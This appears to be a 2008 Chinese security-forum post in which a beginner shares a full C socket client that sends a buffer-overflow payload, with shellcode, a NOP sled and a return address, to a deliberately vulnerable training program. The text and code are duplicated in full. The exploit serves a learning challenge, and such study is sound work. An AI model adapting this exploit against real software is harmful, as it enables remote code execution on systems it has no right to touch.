-
-
[旧帖] [分享]菜鸟学习exploit me挑战赛第一题 0.00雪花
-
发表于: 2008-1-2 14:22 3251
-
既然是菜鸟,当然是啥都不会。。。咋办呢??看雪老大说了是面向初学者,俺总要实验下。
。第一件事就是看贴
【技术专题】软件漏洞分析入门(持续更新中...) http://bbs.pediy.com/showthread.php?t=56445
看完之后就是练手。。砸练呢??文中已经给了考试了。就是exploit_me_A.exe
依然是置顶贴。。。自己去下载吧!!
这是个服务器端的程序。。。。只是把接受到的信息显示出来。。俺们要做的,就是发送信息,做俺们能干的事。。。很幸运。。看雪老大说了面向新手。。所以啥都没加。。啥GS开关之类的。
于是本菜鸟开始分析研究。。。不过这个东东入门真的不错。。详细解释置顶贴全写了。。。俺是没啥说的了。耐心看就行。。。发此贴。主要是给大家个动手的机会。。能实际做遍。(似乎,目前的精华贴都没有完整的代码)
其实俺是个懒人。不太会写代码。。。。先说下工具吧!!第一题简单就简单在工具只要2个。
OD 和VC6。0。 其他啥都不需要。
然后去网上DOWNLOAD一段SOCKET 代码。。研究一下置顶贴。。结合一下。似乎就可以了。。完整代码如下。。。(因为是菜鸟贴。。只要有VC6就可以运行了。。会运行HELLO WORLD 就能运行该程序,,其实俺也只会HELLOWORLD)
#pragma comment (lib, "ws2_32.lib")
#include<windows.h>
#include<iostream.h>
#include<Winsock.h>
#include<fstream.h>
void sError(char*);
void main()
{
WORD version;
WSADATA wsaData;
int rVal=0;
version = MAKEWORD(1,1);
WSAStartup(version,(LPWSADATA)&wsaData);
LPHOSTENT hostEntry;
//store information about the server
hostEntry = gethostbyname("zzzz");
if(!hostEntry)
{
sError("Failed gethostbyname()");
//WSACleanup();
}
//create the socket
SOCKET theSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(theSocket == SOCKET_ERROR)
{
sError("Failed socket()");
}
//Fill in the sockaddr_in struct
SOCKADDR_IN serverInfo;
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
serverInfo.sin_port = htons(7777);
rVal=connect(theSocket,(LPSOCKADDR)&serverInfo, sizeof(serverInfo));
if(rVal==SOCKET_ERROR)
{
sError("Failed connect()");
}
///发送东西
char test1[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x73\x73\x73\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xf4\xfb\x12\00";
cout<<sizeof(test1)<<endl;
cout<<test1<<endl;
rVal = send(theSocket, test1, strlen(test1), 0);
if(rVal == SOCKET_ERROR)
{
sError("Failed send()");
}
closesocket(theSocket);
cout << "closing client"<< endl;
WSACleanup();
}
void sError(char *str)
{
MessageBox(NULL, str, "SOCKET ERROR", MB_OK);
WSACleanup();
}
要出去了。。回来再研究第二题了。。。。。
。第一件事就是看贴
【技术专题】软件漏洞分析入门(持续更新中...) http://bbs.pediy.com/showthread.php?t=56445
看完之后就是练手。。砸练呢??文中已经给了考试了。就是exploit_me_A.exe
依然是置顶贴。。。自己去下载吧!!
这是个服务器端的程序。。。。只是把接受到的信息显示出来。。俺们要做的,就是发送信息,做俺们能干的事。。。很幸运。。看雪老大说了面向新手。。所以啥都没加。。啥GS开关之类的。
于是本菜鸟开始分析研究。。。不过这个东东入门真的不错。。详细解释置顶贴全写了。。。俺是没啥说的了。耐心看就行。。。发此贴。主要是给大家个动手的机会。。能实际做遍。(似乎,目前的精华贴都没有完整的代码)
其实俺是个懒人。不太会写代码。。。。先说下工具吧!!第一题简单就简单在工具只要2个。
OD 和VC6。0。 其他啥都不需要。
然后去网上DOWNLOAD一段SOCKET 代码。。研究一下置顶贴。。结合一下。似乎就可以了。。完整代码如下。。。(因为是菜鸟贴。。只要有VC6就可以运行了。。会运行HELLO WORLD 就能运行该程序,,其实俺也只会HELLOWORLD)
#pragma comment (lib, "ws2_32.lib")
#include<windows.h>
#include<iostream.h>
#include<Winsock.h>
#include<fstream.h>
void sError(char*);
void main()
{
WORD version;
WSADATA wsaData;
int rVal=0;
version = MAKEWORD(1,1);
WSAStartup(version,(LPWSADATA)&wsaData);
LPHOSTENT hostEntry;
//store information about the server
hostEntry = gethostbyname("zzzz");
if(!hostEntry)
{
sError("Failed gethostbyname()");
//WSACleanup();
}
//create the socket
SOCKET theSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(theSocket == SOCKET_ERROR)
{
sError("Failed socket()");
}
//Fill in the sockaddr_in struct
SOCKADDR_IN serverInfo;
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
serverInfo.sin_port = htons(7777);
rVal=connect(theSocket,(LPSOCKADDR)&serverInfo, sizeof(serverInfo));
if(rVal==SOCKET_ERROR)
{
sError("Failed connect()");
}
///发送东西
char test1[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x73\x73\x73\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xf4\xfb\x12\00";
cout<<sizeof(test1)<<endl;
cout<<test1<<endl;
rVal = send(theSocket, test1, strlen(test1), 0);
if(rVal == SOCKET_ERROR)
{
sError("Failed send()");
}
closesocket(theSocket);
cout << "closing client"<< endl;
WSACleanup();
}
void sError(char *str)
{
MessageBox(NULL, str, "SOCKET ERROR", MB_OK);
WSACleanup();
}
要出去了。。回来再研究第二题了。。。。。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图
赞赏
雪币:
留言: